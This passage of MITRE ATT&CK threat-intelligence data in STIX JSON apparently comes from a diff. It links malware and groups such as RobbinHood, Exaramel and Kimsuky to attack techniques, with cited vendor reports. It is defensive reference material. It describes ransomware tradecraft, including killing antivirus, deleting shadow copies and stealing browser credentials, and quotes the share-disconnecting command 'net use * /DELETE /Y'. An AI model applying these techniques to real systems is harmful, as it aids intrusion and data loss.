Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", + "description": "[RobbinHood](https://attack.mitre.org/software/S0400) disconnects all network shares from the computer with the command net use * /DELETE /Y.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-29T14:31:28.731Z", + "id": "relationship--56b6a1b5-b7ec-4974-baf1-9e4565ce5b78", + "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", + "modified": "2019-07-29T15:46:15.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack RobbinHood May 2019", + "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", + "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[RobbinHood](https://attack.mitre.org/software/S0400) uses cmd.exe on the victim's computer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-29T14:31:28.745Z", + "id": "relationship--e579ad2d-41c0-4617-8194-eefd4fe2a676", + "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", + "modified": "2019-07-29T15:46:15.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack RobbinHood May 2019", + "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", + "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[RobbinHood](https://attack.mitre.org/software/S0400) will search for Windows services that are associated with antivirus software on the system and kill the process. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-29T14:58:44.928Z", + "id": "relationship--8f16cec3-2fba-4b69-a5c5-c3eb1f185e90", + "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", + "modified": "2019-07-29T15:46:15.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack RobbinHood May 2019", + "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", + "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "description": "[RobbinHood](https://attack.mitre.org/software/S0400) deletes shadow copies to ensure that all the data cannot be restored easily. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-29T14:58:44.949Z", + "id": "relationship--2f5583d9-e0bf-4d76-ad74-6d9bd3efa69c", + "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", + "modified": "2019-07-29T15:46:15.090Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack RobbinHood May 2019", + "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", + "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[RobbinHood](https://attack.mitre.org/software/S0400) will search for an RSA encryption key and then perform its encryption process on the system files. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-29T14:58:44.962Z", + "id": "relationship--e2fd8460-85cf-42b3-acee-7151758ee55a", + "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", + "modified": "2019-07-29T15:46:15.101Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack RobbinHood May 2019", + "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", + "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "[RobbinHood](https://attack.mitre.org/software/S0400) stops 181 Windows services on the system before beginning the encryption process. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-29T14:58:44.964Z", + "id": "relationship--3e4f8216-03ef-4e7a-8a4a-28905fb0f474", + "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", + "modified": "2019-07-29T15:46:15.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack RobbinHood May 2019", + "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", + "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-30T14:31:52.494Z", + "id": "relationship--aceb8c5a-f5da-4a28-9757-309bb46d96e9", + "source_ref": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e", + "modified": "2019-08-17T12:10:09.857Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-30T15:20:18.669Z", + "id": "relationship--f9bd9f58-508a-4887-8bbc-be57663fa041", + "source_ref": "course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d", + "modified": "2019-08-17T12:11:26.276Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) loads its module with the XSL script parameter vShow set to zero, which opens the application with a hidden window.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-15T13:46:20.339Z", + "id": "relationship--05491bb5-e209-4480-a1a8-9b385efe14ad", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-10-11T15:31:49.896Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has a function to determine whether the C2 server wishes to execute the newly dropped file in a hidden window.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-15T14:06:26.961Z", + "id": "relationship--e60f4fce-425c-45f5-a6f3-ee6c3f808fb9", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-10-15T17:33:22.348Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used port 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-16T18:56:12.539Z", + "id": "relationship--14a18ad1-00a1-45aa-8b39-d1fe4925c669", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.698Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft STRONTIUM Aug 2019", + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to execute a shell command on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:02:46.897Z", + "id": "relationship--db451851-13b7-4aec-9146-2a770115140a", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "modified": "2019-09-04T23:07:06.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses RC4 for encrypting the configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:02:46.924Z", + "id": "relationship--db1b7307-a473-40eb-be9c-25d95c0e2054", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "modified": "2019-09-04T23:07:06.689Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses HTTPS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:02:46.930Z", + "id": "relationship--4528e56e-6c64-4eef-853d-d4011a9ea7ef", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "modified": "2019-09-04T23:07:06.701Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:02:46.932Z", + "id": "relationship--ccd06577-104a-4e31-9782-4ea5cbbad0ab", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "modified": "2019-09-04T23:07:06.713Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to download a file from a remote server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:02:46.949Z", + "id": "relationship--15bb2796-7c6d-4d03-8d86-8d83254bcf0b", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "modified": "2019-09-04T23:07:06.726Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses crontab for persistence if it does not have root privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:02:46.951Z", + "id": "relationship--e28ddc1d-83a4-4382-a4dc-e55a60aa399d", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "modified": "2019-09-04T23:07:06.724Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) automatically encrypts files before sending them to the C2 server. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:09:57.922Z", + "id": "relationship--1631a8e5-36e6-4468-9ed6-48df1138461c", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "modified": "2019-09-04T23:04:50.204Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) specifies a path to store files scheduled for exfiltration. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:09:57.936Z", + "id": "relationship--ce4321e0-09e0-4e3a-b673-8a6e9248e720", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "modified": "2019-09-04T23:04:50.207Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) automatically compresses files before sending them to the C2 server. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T13:09:57.944Z", + "id": "relationship--2c135fd8-b418-4ec6-968f-e71ea3e28417", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "modified": "2019-09-04T23:04:50.215Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:12.951Z", + "id": "relationship--b9f1dec0-f9b8-4cc3-a26c-5fc819f603a0", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-10-07T17:53:44.391Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Zdnet Kimsuky Dec 2018", + "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", + "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/" + }, + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has a HWP document stealer module which changes the default program association in the registry to open HWP documents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:12.971Z", + "id": "relationship--b967963e-5dd4-42a3-a94e-8b3d17250aec", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.318Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used mshta to run malicious scripts on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:12.985Z", + "id": "relationship--90f03f42-a2f1-4fab-8a10-ebbbbc4fba19", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "EST Kimsuky April 2019", + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "url": "https://blog.alyac.co.kr/2234" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a PowerShell-based keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:12.987Z", + "id": "relationship--a70ec2cc-5eeb-41c3-8dd3-2816a9010104", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.393Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "EST Kimsuky April 2019", + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "url": "https://blog.alyac.co.kr/2234" + }, + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a modified TeamViewer client as a command and control channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:12.991Z", + "id": "relationship--4fc9c0a5-952f-4726-8c53-39fbf40a67e3", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-10-07T17:53:44.476Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a Google Chrome extension to infect victims and steal passwords and cookies from their browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.005Z", + "id": "relationship--4c142924-33e7-4920-b1c7-9259d08fbb6e", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.396Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Zdnet Kimsuky Dec 2018", + "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", + "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has collected Office, PDF, and HWP documents from its victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.006Z", + "id": "relationship--035525fc-4549-4282-b85b-c7c07359124c", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a Google Chrome extension to steal passwords and cookies from their browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.021Z", + "id": "relationship--b6d8f711-8b5f-4b5e-82c4-abf144223c55", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.401Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Zdnet Kimsuky Dec 2018", + "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", + "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has executed a variety of PowerShell scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.040Z", + "id": "relationship--c2379d5f-4d8d-4eaa-b966-bf31b227f5e3", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.399Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "EST Kimsuky April 2019", + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "url": "https://blog.alyac.co.kr/2234" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has the ability to enumerate all the drives on an infected system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.041Z", + "id": "relationship--cdd92791-3bc2-4a1f-89b4-3eced4aa667f", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.474Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has deleted the exfiltrated data on disk after transmission.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.043Z", + "id": 